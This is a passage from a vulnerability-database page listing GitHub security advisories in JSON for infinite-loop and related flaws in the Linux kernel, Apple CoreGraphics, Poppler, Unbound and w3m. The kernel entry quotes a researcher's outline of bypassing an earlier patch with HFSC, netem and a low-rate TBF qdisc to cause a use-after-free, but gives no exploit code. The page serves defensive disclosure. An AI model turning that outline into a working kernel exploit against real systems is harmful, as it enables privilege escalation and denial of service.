  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet_sched: hfsc: Address reentrant enqueue adding class to eltree twice\n\nSavino says:\n    \"We are writing to report that this recent patch\n    (141d34391abbb315d68556b7c67ad97885407547) [1]\n    can be bypassed, and a UAF can still occur when HFSC is utilized with\n    NETEM.\n\n    The patch only checks the cl-\u003ecl_nactive field to determine whether\n    it is the first insertion or not [2], but this field is only\n    incremented by init_vf [3].\n\n    By using HFSC_RSC (which uses init_ed) [4], it is possible to bypass the\n    check and insert the class twice in the eltree.\n    Under normal conditions, this would lead to an infinite loop in\n    hfsc_dequeue for the reasons we already explained in this report [5].\n\n    However, if TBF is added as root qdisc and it is configured with a\n    very low rate,\n    it can be utilized to prevent packets from being dequeued.\n    This behavior can be exploited to perform subsequent insertions in the\n    HFSC eltree and cause a UAF.\"\n\nTo fix both the UAF and the infinite loop, with netem as an hfsc child,\ncheck explicitly in hfsc_enqueue whether the class is already in the eltree\nwhenever the HFSC_RSC flag is set.\n\n[1] https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=141d34391abbb315d68556b7c67ad97885407547\n[2] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1572\n[3] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L677\n[4] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1574\n[5] https://lore.kernel.org/netdev/8DuRWwfqjoRDLDmBMlIfbrsZg9Gx50DHJc1ilxsEBNe2D6NMoigR_eIRIG0LOjMc3r10nUUZtArXx4oZBIdUfZQrwjcQhdinnMis_0G7VEk=@willsroot.io/T/#u",
  "id": "GHSA-rh23-w5x7-xjm4",
  "modified": "2025-12-17T21:30:29Z",
  "published": "2025-06-06T15:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38001"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/295f7c579b07b5b7cf2dffe485f71cc2f27647cb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2c928b3a0b04a431ffcd6c8b7d88a267124a3a28"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2f2190ce4ca972051cac6a8d7937448f8cb9673c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/39ed887b1dd2d6b720f87e86692ac3006cc111c8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4e38eaaabfb7fffbb371a51150203e19eee5d70e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6672e6c00810056acaac019fe26cdc26fee8a66c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a0ec22fa20b252edbe070a9de8501eef63c17ef5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ac9fe7dd8e730a103ae4481147395cc73492d786"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e5bee633cc276410337d54b99f77fbc1ad8801e5"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://syst3mfailure.io/rbtree-family-drama"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RH7R-JRG6-JCWX

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

An issue was discovered in certain Apple products. iOS before 10.3 is affected. macOS before 10.12.4 is affected. tvOS before 10.2 is affected. watchOS before 3.2 is affected. The issue involves the "CoreGraphics" component. It allows remote attackers to cause a denial of service (infinite recursion) via a crafted image.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-2417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-02T01:59:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in certain Apple products. iOS before 10.3 is affected. macOS before 10.12.4 is affected. tvOS before 10.2 is affected. watchOS before 3.2 is affected. The issue involves the \"CoreGraphics\" component. It allows remote attackers to cause a denial of service (infinite recursion) via a crafted image.",
  "id": "GHSA-rh7r-jrg6-jcwx",
  "modified": "2022-05-13T01:44:49Z",
  "published": "2022-05-13T01:44:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2417"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207601"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207602"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207615"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207617"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97137"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038138"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RHH3-RX8X-HWMM

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43
VLAI
Details

In Poppler 0.59.0, memory corruption occurs in a call to Object::dictLookup() in Object.h after a repeating series of Gfx::display, Gfx::go, Gfx::execOp, Gfx::opFill, Gfx::doPatternFill, Gfx::doTilingPatternFill and Gfx::drawForm calls (aka a Gfx.cc infinite loop), a different vulnerability than CVE-2017-14519.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-30T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Poppler 0.59.0, memory corruption occurs in a call to Object::dictLookup() in Object.h after a repeating series of Gfx::display, Gfx::go, Gfx::execOp, Gfx::opFill, Gfx::doPatternFill, Gfx::doTilingPatternFill and Gfx::drawForm calls (aka a Gfx.cc infinite loop), a different vulnerability than CVE-2017-14519.",
  "id": "GHSA-rhh3-rx8x-hwmm",
  "modified": "2022-05-13T01:43:32Z",
  "published": "2022-05-13T01:43:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14929"
    },
    {
      "type": "WEB",
      "url": "https://bugs.freedesktop.org/show_bug.cgi?id=102969"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4097"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RHJG-FH2P-JPV5

Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18
VLAI
Details

Unbound before 1.10.1 has an infinite loop via malformed DNS answers received from upstream servers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-12663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-19T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Unbound before 1.10.1 has an infinite loop via malformed DNS answers received from upstream servers.",
  "id": "GHSA-rhjg-fh2p-jpv5",
  "modified": "2022-05-24T17:18:08Z",
  "published": "2022-05-24T17:18:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12663"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F5NFROI2OMCZLYRTCNGHGO3TUD32LCIQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YJ42N2HBZ3DXMSEC56SWIIOFQGOS5M7I"
    },
    {
      "type": "WEB",
      "url": "https://nlnetlabs.nl/downloads/unbound/CVE-2020-12662_2020-12663.txt"
    },
    {
      "type": "WEB",
      "url": "https://security.FreeBSD.org/advisories/FreeBSD-SA-20:19.unbound.asc"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4374-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4694"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00067.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00069.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/05/19/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RHW8-JFW3-7W97

Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53
VLAI
Details

w3m through 0.5.3 is prone to an infinite recursion flaw in HTMLlineproc0 because the feed_table_block_tag function in table.c does not prevent a negative indent value.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-6196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-25T03:29:00Z",
    "severity": "HIGH"
  },
  "details": "w3m through 0.5.3 is prone to an infinite recursion flaw in HTMLlineproc0 because the feed_table_block_tag function in table.c does not prevent a negative indent value.",
  "id": "GHSA-rhw8-jfw3-7w97",
  "modified": "2022-05-13T01:53:03Z",
  "published": "2022-05-13T01:53:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6196"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tats/w3m/issues/88"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tats/w3m/commit/8354763b90490d4105695df52674d0fcef823e92"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/04/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3555-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3555-2"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00028.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.